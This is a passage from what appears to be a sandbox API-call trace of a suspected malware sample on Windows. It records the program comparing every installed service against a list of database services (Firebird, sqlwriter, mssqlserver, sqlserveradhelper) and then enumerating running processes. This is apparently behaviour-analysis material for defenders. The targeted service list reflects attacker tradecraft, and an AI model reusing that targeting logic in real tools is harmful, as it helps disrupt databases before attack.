lpString2="DusmSvc") returned 1 [0219.388] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0219.388] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0219.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0219.388] lstrlenW (lpString="EventLog") returned 8 [0219.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0219.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0219.388] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0219.388] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0219.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0219.388] lstrlenW (lpString="EventSystem") returned 11 [0219.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0219.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0219.389] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0219.389] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0219.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0219.389] lstrlenW (lpString="FontCache") returned 9 [0219.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0219.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0219.389] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0219.389] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0219.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0219.389] lstrlenW (lpString="gpsvc") returned 5 [0219.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0219.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0219.389] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0219.389] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0219.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0219.389] lstrlenW (lpString="iphlpsvc") returned 8 [0219.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0219.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0219.389] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0219.389] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0219.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0219.389] lstrlenW (lpString="KeyIso") returned 6 [0219.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0219.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0219.389] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0219.389] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0219.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0219.389] lstrlenW (lpString="LanmanServer") returned 12 [0219.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0219.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0219.390] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0219.390] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0219.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0219.390] lstrlenW (lpString="LanmanWorkstation") returned 17 [0219.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0219.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0219.390] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0219.390] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0219.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0219.390] lstrlenW (lpString="lfsvc") returned 5 [0219.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0219.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0219.390] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0219.390] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0219.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0219.390] lstrlenW (lpString="lmhosts") returned 7 [0219.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0219.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0219.390] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0219.390] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0219.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0219.390] lstrlenW (lpString="LSM") returned 3 [0219.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0219.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0219.390] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0219.390] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0219.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0219.391] lstrlenW (lpString="MpsSvc") returned 6 [0219.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0219.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0219.391] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0219.391] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0219.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0219.391] lstrlenW (lpString="NcbService") returned 10 [0219.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0219.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0219.391] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0219.391] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0219.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0219.391] lstrlenW (lpString="netprofm") returned 8 [0219.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0219.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0219.391] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0219.391] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0219.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0219.391] lstrlenW (lpString="NgcSvc") returned 6 [0219.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0219.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0219.391] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0219.391] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0219.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0219.391] lstrlenW (lpString="NlaSvc") returned 6 [0219.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0219.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0219.391] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0219.392] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0219.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0219.392] lstrlenW (lpString="nsi") returned 3 [0219.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0219.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0219.392] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0219.392] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0219.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0219.392] lstrlenW (lpString="PcaSvc") returned 6 [0219.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0219.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0219.392] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0219.392] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0219.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0219.392] lstrlenW (lpString="PlugPlay") returned 8 [0219.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0219.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0219.392] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0219.392] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0219.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0219.392] lstrlenW (lpString="Power") returned 5 [0219.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0219.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0219.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0219.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0219.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0219.392] lstrlenW (lpString="ProfSvc") returned 7 [0219.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0219.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0219.393] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0219.393] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0219.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0219.393] lstrlenW (lpString="RpcEptMapper") returned 12 [0219.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0219.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0219.393] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0219.393] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0219.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0219.393] lstrlenW (lpString="RpcSs") returned 5 [0219.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0219.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0219.393] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0219.393] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0219.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0219.393] lstrlenW (lpString="SamSs") returned 5 [0219.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0219.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0219.393] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0219.393] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0219.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0219.393] lstrlenW (lpString="Schedule") returned 8 [0219.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0219.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0219.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0219.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0219.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0219.394] lstrlenW (lpString="SecurityHealthService") returned 21 [0219.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0219.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0219.394] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0219.394] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0219.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0219.394] lstrlenW (lpString="SENS") returned 4 [0219.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0219.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0219.394] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0219.394] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0219.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0219.394] lstrlenW (lpString="ShellHWDetection") returned 16 [0219.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0219.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0219.394] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0219.394] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0219.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0219.394] lstrlenW (lpString="Spooler") returned 7 [0219.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0219.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0219.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0219.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0219.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0219.394] lstrlenW (lpString="StateRepository") returned 15 [0219.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0219.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0219.394] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0219.394] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0219.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0219.395] lstrlenW (lpString="SysMain") returned 7 [0219.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0219.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0219.395] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0219.395] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0219.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0219.395] lstrlenW (lpString="SystemEventsBroker") returned 18 [0219.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0219.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0219.395] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0219.395] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0219.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0219.395] lstrlenW (lpString="Themes") returned 6 [0219.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0219.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0219.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0219.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0219.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0219.395] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0219.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0219.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0219.395] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0219.395] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0219.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0219.395] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0219.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0219.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0219.396] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0219.396] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0219.396] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6cf658 | out: hHeap=0x670000) returned 1 [0219.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d8 [0219.401] Process32FirstW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.401] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0219.446] lstrlenW (lpString="System") returned 6 [0219.446] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0219.446] lstrlenW (lpString="smss.exe") returned 8 [0219.446] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.447] lstrlenW (lpString="csrss.exe") returned 9 [0219.447] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0219.447] lstrlenW (lpString="wininit.exe") returned 11 [0219.447] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.448] lstrlenW (lpString="csrss.exe") returned 9 [0219.448] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0219.449] lstrlenW (lpString="winlogon.exe") returned 12 [0219.449] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0219.449] lstrlenW (lpString="services.exe") returned 12 [0219.449] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0219.450] lstrlenW (lpString="lsass.exe") returned 9 [0219.450] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0219.450] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0219.450] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0219.451] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0219.451] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.451] lstrlenW (lpString="svchost.exe") returned 11 [0219.451] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.452] lstrlenW (lpString="svchost.exe") returned 11 [0219.452] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0219.453] lstrlenW (lpString="dwm.exe") returned 7 [0219.453] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.453] lstrlenW (lpString="svchost.exe") returned 11 [0219.453] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.454] lstrlenW (lpString="svchost.exe") returned 11 [0219.454] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.454] lstrlenW (lpString="svchost.exe") returned 11 [0219.454] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.455] lstrlenW (lpString="svchost.exe") returned 11 [0219.455] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.455] lstrlenW (lpString="svchost.exe") returned 11 [0219.455] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.456] lstrlenW (lpString="svchost.exe") returned 11 [0219.456] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.456] lstrlenW (lpString="svchost.exe") returned 11 [0219.456] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.457] lstrlenW (lpString="svchost.exe") returned 11 [0219.457] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.457] lstrlenW (lpString="svchost.exe") returned 11 [0219.458] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.458] lstrlenW (lpString="svchost.exe") returned 11 [0219.458] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0219.459] lstrlenW (lpString="spoolsv.exe") returned 11 [0219.459] Process32NextW (in: hSnapshot=0x2d8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0219.459] lstrlenW (lpString="taskhostw.exe") returned 13 [0219.459] Process32NextW (in: hSnapshot=0x2d8, 